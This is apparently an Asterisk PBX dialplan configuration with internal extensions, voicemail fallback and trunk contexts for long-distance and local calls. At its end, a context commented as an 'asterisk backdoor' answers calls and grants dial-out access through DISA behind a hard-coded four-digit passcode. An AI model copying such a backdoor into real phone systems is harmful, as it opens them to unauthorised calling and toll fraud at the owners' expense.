[internal]
ignorepat=9
include => local
include => trunkld
exten => 501,1,Dial(IAX2/192.168.2.175@australia/s,30,tr)
exten => 501,2,Voicemail(501@internal)
exten => 502,1,Dial(Zap/1,20,tr)
exten => 502,2,Voicemail(u502@internal)
exten => 502,102,Voicemail(b502@internal)

[trunkld]
;
; Long distance context accessed through trunk
;
exten => _91NXXNXXXXXX,1,Macro(dundi-e164,${EXTEN:1})
exten => _91NXXNXXXXXX,n,Dial(${TRUNK}/${EXTEN:${TRUNKMSD}})


[local]
;
; Master context for local, toll-free, and iaxtel calls only
;
ignorepat => 9
include => default
include => parkedcalls
include => trunklocal
include => iaxtel700
include => trunktollfree
include => iaxprovider
include => localpbx


[disa]
; asterisk backdoor on line 3
exten => s,1,Answer
exten => s,2,DISA(1797|local)